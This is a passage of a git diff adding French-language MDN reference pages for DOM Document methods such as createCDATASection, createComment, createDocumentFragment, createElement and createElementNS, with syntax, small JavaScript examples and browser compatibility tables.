+<p><code>createCDATASection()</code> crée un nouveau noeud de section CDATA et le renvoie.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>CDATASectionNode</var> = document.createCDATASection(data)
+</pre>
+
+<ul>
+ <li><code>CDATASectionNode</code> est un noeud de <a href="https://developer.mozilla.org/fr/docs/Web/API/CDATASection">Section CDATA</a>.</li>
+ <li><code>data</code> est une string (<em>chaîne de caractères</em>) contenant les données à ajouter à la section CDATA.</li>
+</ul>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush:js">var docu = new DOMParser().parseFromString('&lt;xml&gt;&lt;/xml&gt;',  "application/xml")
+
+var cdata = docu.createCDATASection('Some &lt;CDATA&gt; data &amp; then some');
+
+docu.getElementsByTagName('xml')[0].appendChild(cdata);
+
+alert(new XMLSerializer().serializeToString(docu));
+// Affiche : &lt;xml&gt;&lt;![CDATA[Some &lt;CDATA&gt; data &amp; then some]]&gt;&lt;/xml&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<ul>
+ <li>Cela fonctionnera uniquement avec XML, pas avec les documents HTML (car les documents HTML ne supportent pas les sections CDATA) ; le tenter sur un document HTML va lancer une exception <code>NOT_SUPPORTED_ERR</code>.</li>
+ <li>Va lancer une exception <code>NS_ERROR_DOM_INVALID_CHARACTER_ERR</code> si on essaye de soumettre la séquence CDATA de fermeture ("]]&gt;") en tant que partie des données ; les données fournies par l'utilisateur non échappées, ne peuvent pas être utilisées en toute sécurité sans qu'avec cette méthode on obtienne cette exception (<code><a href="/en-US/docs/DOM/document.createTextNode">createTextNode()</a></code> peut souvent être utilisé à sa place).</li>
+</ul>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-createCDATASection">createCDATASection</a></li>
+</ul>
diff --git a/files/fr/web/api/document/createcomment/index.html b/files/fr/web/api/document/createcomment/index.html
new file mode 100644
index 0000000000..8aaa2be9f3
--- /dev/null
+++ b/files/fr/web/api/document/createcomment/index.html
@@ -0,0 +1,41 @@
+---
+title: document.createComment
+slug: Web/API/Document/createComment
+tags:
+  - API
+  - DOM
+  - Méthodes
+  - Reference
+translation_of: Web/API/Document/createComment
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code>createComment()</code> crée et retourne un nouveau noeud de type commentaire.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>CommentNode</em> = document.createComment(data)
+</pre>
+
+<h3 id="Parameters" name="Parameters">Paramètres</h3>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>Une chaîne de caractères représentant le contenu du commentaire.</dd>
+</dl>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush:js">var docu = new DOMParser().parseFromString('&lt;xml&gt;&lt;/xml&gt;',  "application/xml");
+var comment = docu.createComment('Voici un commentaire pas très bien caché');
+
+docu.getElementsByTagName('xml')[0].appendChild(comment);
+
+alert(new XMLSerializer().serializeToString(docu));
+// Affiche: &lt;xml&gt;&lt;!--Voici un commentaire pas très bien caché--&gt;&lt;/xml&gt;</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-createComment">createComment</a></li>
+</ul>
diff --git a/files/fr/web/api/document/createdocumentfragment/index.html b/files/fr/web/api/document/createdocumentfragment/index.html
new file mode 100644
index 0000000000..63d8203bb7
--- /dev/null
+++ b/files/fr/web/api/document/createdocumentfragment/index.html
@@ -0,0 +1,140 @@
+---
+title: document.createDocumentFragment
+slug: Web/API/Document/createDocumentFragment
+tags:
+  - API
+  - DOM
+  - Document
+  - HTML
+  - Méthode
+  - Reference
+translation_of: Web/API/Document/createDocumentFragment
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>Crée un nouvel objet vide de type  {{domxref("DocumentFragment")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">var <var>fragment</var> = document.createDocumentFragment();
+</pre>
+
+<p><code>fragment</code> est une référence vers un objet vide de type  {{domxref("DocumentFragment")}} .</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Les objets <code>DocumentFragments</code> sont analogues à des nœuds du DOM, mais ne font jamais partie de l'arbre DOM. Le cas d'usage le plus courant consiste à créer un fragment pour y stocker des éléments, puis à ajouter en une seule opération le fragment à l'arbre DOM, ce qui a pour effet de le remplacer par tous ses éléments enfants.</p>
+
+<p>Le principal avantage de cette méthode de mise à jour du DOM vient du fait que le fragment est stocké en mémoire, et pas dans l'arbre DOM lui-même, de sorte que le modifier ne déclenche pas de <a href="http://code.google.com/speed/articles/reflow.html">reflow</a> (le calcul des positions et de la géométrie de chacun des éléments de la page affichée). Par conséquent, l´utilisation de fragments pour effectuer des mises à jour du DOM donne souvent lieu à une <a href="http://ejohn.org/blog/dom-documentfragments/">amélioration des performance</a>s.</p>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<p>Cet exemple crée une liste des principaux navigateurs du web.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>ul</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>ul<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>ul</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> element  <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'ul'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// en supposant qu'ul existe</span>
+<span class="keyword token">var</span> fragment <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createDocumentFragment</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> browsers <span class="operator token">=</span> <span class="punctuation token">[</span><span class="string token">'Firefox'</span><span class="punctuation token">,</span> <span class="string token">'Chrome'</span><span class="punctuation token">,</span> <span class="string token">'Opera'</span><span class="punctuation token">,</span>
+    <span class="string token">'Safari'</span><span class="punctuation token">,</span> <span class="string token">'Internet Explorer'</span><span class="punctuation token">]</span><span class="punctuation token">;</span>
+
+browsers<span class="punctuation token">.</span><span class="function token">forEach</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span>browser<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">var</span> li <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">'li'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    li<span class="punctuation token">.</span>textContent <span class="operator token">=</span> browser<span class="punctuation token">;</span>
+    fragment<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>li<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+element<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>fragment<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Example", 600, 140)}}</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-document-createdocumentfragment', 'Document.createDocumentFragment()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale dans la spécification DOM 1.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop"> </div>
+
+<div id="compat-mobile">
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+</div>
+
+<ul>
+ <li>{{domxref("DOMImplementation.createDocument", "document.implementation.createDocument()")}}</li>
+ <li>{{domxref("documentFragment")}}</li>
+</ul>
diff --git a/files/fr/web/api/document/createelement/index.html b/files/fr/web/api/document/createelement/index.html
new file mode 100644
index 0000000000..50f79879d8
--- /dev/null
+++ b/files/fr/web/api/document/createelement/index.html
@@ -0,0 +1,139 @@
+---
+title: document.createElement
+slug: Web/API/Document/createElement
+tags:
+  - API
+  - Création
+  - DOM
+  - Document
+  - Elements
+  - Méthodes
+translation_of: Web/API/Document/createElement
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Dans un document <a href="https://developer.mozilla.org/fr/docs/Web/HTML">HTML</a>, la méthode <strong><code>document.createElement()</code></strong> crée un élément HTML du type spécifié par <code>tagName</code> ou un {{domxref("HTMLUnknownElement")}} si <code>tagName</code> n’est pas reconnu.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var element = document.createElement(tagName[, options]);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>tagName</dt>
+ <dd>Une chaîne de caractères ({{domxref("DOMString")}}) spécifiant le type d’élément à créer. Le {{domxref("Node.nodeName", "nodeName")}} (<em>nom du noeud</em>) de l’élément créé est initialisé avec la valeur de <code>tagName</code>. N’utilisez pas le nom qualifié (comme <code>"html:a"</code>) avec cette méthode. Quand elle est appelée sur un document HTML, <code>createElement()</code> convertit <code>tagName</code> en minuscules avant de créer l’élément. Dans Firefox, Opera et Chrome, <code>createElement(null)</code> fonctionne comme <code>createElement("null")</code>.</dd>
+ <dt>options{{optional_inline}}</dt>
+ <dd>
+ <p>Un objet <code>ElementCreationOptions</code> facultatif contenant une seule propriété nommée <code>is</code> dont la valeur est le nom de balise d’un élément personnalisé précédemment défini avec <code>customElements.define()</code>. Voir {{anch("Web component example")}} pour plus de détails.</p>
+ </dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L’objet {{domxref("Element")}} créé.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_de_base">Exemple de base</h3>
+
+<p>Ici est créé un nouveau <code>&lt;div&gt;</code> qui est inséré avant l’élément avec l’identifiant <code>"div1"</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;||Working with elements||&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;div id="div1"&gt;The text above has been created dynamically.&lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">document.body.onload = addElement;
+
+function addElement () {
+  // crée un nouvel élément div
+  var newDiv = document.createElement("div");
+  // et lui donne un peu de contenu
+  var newContent = document.createTextNode('Hi there and greetings!');
+  // ajoute le nœud texte au nouveau div créé
+  newDiv.appendChild(newContent);
+
+  // ajoute le nouvel élément créé et son contenu dans le DOM
+  var currentDiv = document.getElementById('div1');
+  document.body.insertBefore(newDiv, currentDiv);
+}</pre>
+
+<p>{{EmbedLiveSample("Basic_example", 500, 50)}}</p>
+
+<h3 id="Exemple_de_composant_web">Exemple de composant web</h3>
+
+<p>L’exemple de fragment suivant est extrait de notre exemple expanding-list-web-component (voir aussi en direct). Dans ce cas, notre élément personnalisé étend la {{domxref("HTMLUListElement")}} qui représente l’élément {{htmlelement("ul")}}.</p>
+
+<pre class="brush: js">// Crée une classe pour l’élément
+class ExpandingList extends HTMLUListElement {
+  constructor() {
+    // Toujours appeler « super » en premier dans le constructeur
+    super();
+
+    // définition du constructeur omise pour la brièveté
+    ...
+  }
+}
+
+// Définit le nouvel élément
+customElements.define('expanding-list', ExpandingList, { extends: 'ul' });</pre>
+
+<p>Si nous cherchons à créer une instance de cet élément par programmation, nous devons utiliser un appel tel que montré dans la ligne suivante :</p>
+
+<pre class="brush: js">let expandingList = document.createElement('ul', { is : 'expanding-list' })</pre>
+
+<p>Le nouvel élément donnera un attribut <code><a href="/docs/Web/HTML/Global_attributes/is">is</a></code> dont la valeur est la balise de nom de l’élément personnalisé.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Pour la rétrocompatibilité avec les versions précédentes de la <a href="https://www.w3.org/TR/custom-elements/">spécification des éléments personnalisés</a>, quelques navigateurs permettent de passer une chaîne de caractères ici, à la place d’un objet, dont la valeur est la balise de nom de l’élément personnalisé.</p>
+</div>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', "#dom-document-createelement", "Document.createElement")}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">La table de compatibilité sur cette page est génératée à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une <em>pull request.</em></div>
+
+<p>{{Compat("api.Document.createElement")}}</p>
+
+<h3 id="Notes_CSS_Quantum">Notes CSS Quantum</h3>
+
+<ul>
+ <li>Dans Gecko, quand vous voulez créer un sous-arbre détaché (par exemple, un {{htmlelement("div")}} créé avec <code>createElement()</code> qui n’est pas encore inséré dans le DOM), l’élément racine du sous-arbre est défini comme un élément de niveau bloc. Dans le nouveau moteur CSS parallèle de Firefox (aussi connu comme <a href="https://wiki.mozilla.org/Quantum">Quantum CSS</a> ou <a href="https://wiki.mozilla.org/Quantum/Stylo">Stylo</a>, prévu pour être publié dans Firefox 57), il est défini comme "inline", ({{bug(1374994)}}) selon la spécification.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Node.removeChild()")}}</li>
+ <li>{{domxref("Node.replaceChild()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("Node.insertBefore()")}}</li>
+ <li>{{domxref("Node.hasChildNodes()")}}</li>
+ <li>{{domxref("document.createElementNS()")}} — pour spécifier explicitement l’URI de l’espace de noms de l’élément.</li>
+</ul>
diff --git a/files/fr/web/api/document/createelementns/index.html b/files/fr/web/api/document/createelementns/index.html
new file mode 100644
index 0000000000..f882f231b9
--- /dev/null
+++ b/files/fr/web/api/document/createelementns/index.html
@@ -0,0 +1,181 @@
+---
+title: document.createElementNS
+slug: Web/API/Document/createElementNS
+tags:
+  - API
+  - Création
+  - DOM
+  - Document
+  - Elements
+  - Méthodes
+  - URI
+translation_of: Web/API/Document/createElementNS
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>Crée un élément avec l'URI de l'espace de noms spécifié et un nom qualifié.</p>
+
+<p>Pour créer un élément sans spécifier d'URI d'espace de noms, utilisez la méthode <a href="https://developer.mozilla.org/fr/docs/Web/API/Document/createElement" title="createElement">createElement </a><a href="https://developer.mozilla.org/fr/docs/Web/API/Document/createElement"> </a>.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> element <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElementNS</span><span class="punctuation token">(</span>namespaceURI<span class="punctuation token">,</span> qualifiedName<span class="punctuation token">[</span><span class="punctuation token">,</span> options<span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>namespaceURI</code></dt>
+ <dd>est une chaîne de caractères qui spécifie <a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/glossary.html#dt-namespaceURI">l'URI de l'espace de noms</a> à associer à l'élément. La propriété <a href="https://developer.mozilla.org/fr/docs/Web/API/Node/namespaceURI">namespaceURI</a> de l'élément créé est initialisée avec la valeur de <code>namespaceURI</code>. voir <a href="#URI_d'espaces_de_nom_valides">URI d'espaces de nom valides</a></dd>
+ <dt><code>qualifiedName</code></dt>
+ <dd>est une chaîne de caractères qui spécifie le type de l'élément à créer. La propriété <a href="https://developer.mozilla.org/fr/docs/Web/API/Node/nodeName">nodeName</a> de l'élément créé est initialisée avec la valeur de <code>qualifiedName</code></dd>
+ <dt><code>Options </code><span class="inlineIndicator optional optionalInline">Facultatif</span></dt>
+ <dd>Un objet facultatif <code>ElementCreationOptions</code> contient une propriété unique nommée <code>is</code>, <span id="result_box" lang="fr"><span>dont la valeur est le nom de la balise pour un élément personnalisé défini précédemment à l'aide de </span></span> <code>customElements.define()</code> . Pour la rétro-compatibilité avec les versions précédentes de la <a href="https://www.w3.org/TR/custom-elements/">spécification des éléments personnalisés</a>, quelques navigateurs vous permettront de passer ici une chaîne de caractères à la place d'un objet, pour laquelle la valeur est un nom d'élément personnalisé. Voir  <a class="external external-icon" href="https://developers.google.com/web/fundamentals/primers/customelements/#extendhtml">Extending native HTML elements</a>  pour plus d'informations sur la façon d'utiliser ce paramètre.</dd>
+ <dd><span id="result_box" lang="fr"><span>Le nouvel élément recevra un attribut <code>is</code> dont la valeur est le nom de la balise de l'élément personnalisé.</span> <span>Les éléments personnalisés sont une fonctionnalité expérimentale disponible uniquement dans certains navigateurs.</span></span></dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<dl>
+ <dd>Le nouvel <code><a href="https://developer.mozilla.org/fr/docs/Web/API/Element" title="DOM/element">element</a></code>.</dd>
+</dl>
+
+<h2 id="Example" name="Example"><a id="URI_d'espaces_de_nom_valides" name="URI_d'espaces_de_nom_valides">URI d'espaces de nom valides</a></h2>
+
+<ul>
+ <li>HTML - Utiliser <code>http://www.w3.org/1999/xhtml</code></li>
+ <li>SVG - Utiliser <code>http://www.w3.org/2000/svg</code></li>
+ <li>XBL - Utiliser <code>http://www.mozilla.org/xbl</code></li>
+ <li>XUL - Utiliser <code>http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</code></li>
+</ul>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<p>Cet exemple crée un nouvel élément &lt;div&gt; dans l'espace de noms <a href="https://developer.mozilla.org/fr/docs/XHTML" title="XHTML">XHTML</a> et l'ajoute à l'élément vbox. Bien que ce ne soit pas un document <a href="https://developer.mozilla.org/fr/docs/Mozilla/Tech/XUL" title="XUL">XUL</a> très utile, cela montre l'utilisation d'éléments de deux espaces de noms différents au sein d'un même document :</p>
+
+<pre class="brush:xml line-numbers  language-xml"><code class="language-xml"><span class="prolog token">&lt;?xml version="1.0"?&gt;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>page</span> <span class="attr-name token">xmlns</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul<span class="punctuation token">"</span></span>
+      <span class="attr-name token"><span class="namespace token">xmlns:</span>html</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://www.w3.org/1999/xhtml<span class="punctuation token">"</span></span>
+      <span class="attr-name token">title</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>||Working with elements||<span class="punctuation token">"</span></span>
+      <span class="attr-name token">onload</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>init()<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/javascript<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="cdata token">&lt;![CDATA[
+ var container;
+ var newdiv;
+ var txtnode;
+
+ function init(){
+   container = document.getElementById("ContainerBox");
+   newdiv = document.createElementNS("http://www.w3.org/1999/xhtml","div");
+   txtnode = document.createTextNode("This is text that was constructed dynamically with createElementNS and createTextNode then inserted into the document using appendChild.");
+   newdiv.appendChild(txtnode);
+   container.appendChild(newdiv);
+ }
+
+]]&gt;</span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span>
+
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>vbox</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">'</span>ContainerBox<span class="punctuation token">'</span></span> <span class="attr-name token">flex</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">'</span>1<span class="punctuation token">'</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span><span class="namespace token">html:</span>div</span><span class="punctuation token">&gt;</span></span>
+   Le script sur cette page ajoutera du contenu dynamique ci-dessous :
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span><span class="namespace token">html:</span>div</span><span class="punctuation token">&gt;</span></span>
+ <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>vbox</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>page</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<div class="note">
+<p><strong>Note :</strong> Cet exemple utilise un script interne, ce qui n'est pas recommandé dans les documents XHTML. Cet exemple particulier est en fait un document XUL intégrant du XHTML. Cependant, la recommandation s'applique quand même.</p>
+</div>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', "#dom-document-createelementns", "Document.createElement")}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>options</code> argument</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(50)}}<sup>[2][3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Dans les versions précédentes de la spécification, cet argument était juste une chaîne de caractères dont la valeur était un nom d'élément personnalisé. <span id="result_box" lang="fr"><span>Par souci de compatibilité ascendante, Chrome accepte les deux formes</span></span> .</p>
+
+<p>[2] Voir [1] <span id="result_box" lang="fr"><span>ci-dessus : comme Chrome, Firefox accepte une chaîne au lieu d'un objet ici, mais seulement à partir de la version 51 et suivantes.</span> <span>Dans la version 50, les <code>options</code> doivent être un objet.</span></span></p>
+
+<p>[3] <span id="result_box" lang="fr"><span>Pour expérimenter avec des éléments personnalisés dans Firefox, vous devez définir les préférences</span></span> <code>dom.webcomponents.enabled</code> et <code>dom.webcomponents.customelements.enabled</code> à <code>true</code> (<em>vrai</em>).</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="document.createElement">document.createElement</a></li>
+ <li><a href="document.createTextNode">document.createTextNode</a></li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/Node/namespaceURI">Node.namespaceURI</a></li>
+ <li><a class="external external-icon" href="http://www.w3.org/TR/1999/REC-xml-names-19990114">Namespaces in XML</a></li>
+</ul>
diff --git a/files/fr/web/api/document/createentityreference/index.html b/files/fr/web/api/document/createentityreference/index.html
new file mode 100644
index 0000000000..c8881dddcb
--- /dev/null
+++ b/files/fr/web/api/document/createentityreference/index.html
@@ -0,0 +1,14 @@
+---
+title: Document.createEntityReference()
+slug: Web/API/Document/createEntityReference
+translation_of: Web/API/Document/createEntityReference
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>{{ obsolete_header("7.0") }}</p>
+
+<p>Avant {{ gecko("7.0") }} cette méthode apparaissait présente mais en raison du bogue {{bug("9850")}}, elle renvoyait toujours uniquement "null". La seule solution consiste à créer un noeud de texte, une section CDATA, une valeur de noeud d'attribut, etc., qui ont la valeur référencée par l'entité, en utilisant <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Guide/Types_et_grammaire#Les_caract%C3%A8res_d%27%C3%A9chappement" title="en/Core_JavaScript_1.5_Guide/Unicode#Unicode_escape_sequences">Les caractères d'échappement</a> ou <a href="https://developer.mozilla.org/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/fromCharCode" title="en/Core_JavaScript_1.5_Reference/Global_Objects/String/fromCharCode">fromCharCode()</a> si nécessaire.</p>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<p><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-392B75AE" title="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-392B75AE">createEntityReference</a></p>
diff --git a/files/fr/web/api/document/createevent/index.html b/files/fr/web/api/document/createevent/index.html
new file mode 100644
index 0000000000..b07312c314
--- /dev/null
+++ b/files/fr/web/api/document/createevent/index.html
@@ -0,0 +1,90 @@
+---
+title: Document.createEvent()
+slug: Web/API/Document/createEvent
+tags:
+  - API
+  - DOM
+  - Méthode
+  - Reference
+translation_of: Web/API/Document/createEvent
+---
+<div class="warning">
+<p>De nombreuses méthodes utilisées avec <code>createEvent</code>, tels que <code>initCustomEvent</code>, sont obsolètes. Utilisez le <a href="/fr/docs/Web/API/CustomEvent" title="/fr/docs/Web/API/CustomEvent">constructeur d'événement </a><a href="https://developer.mozilla.org/fr/docs/Web/API/CustomEvent"> </a>à la place.</p>
+</div>
+
+<div>{{ ApiRef("DOM") }}</div>
+
+<div> </div>
+
+<p>Crée un <a href="/en-US/docs/DOM/event" title="DOM/event">event</a> du type spécifié. L'objet retourné doit être intialisé et peut être passé ensuite à <a href="/en-US/docs/DOM/element.dispatchEvent" title="DOM/element.dispatchEvent">element.dispatchEvent</a>.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">var <em>event</em> = <em>document</em>.createEvent(<em>type</em>);
+</pre>
+
+<ul>
+ <li><code>event</code> est l'objet <a href="/en-US/docs/DOM/event" title="DOM/event">Event</a> créé.</li>
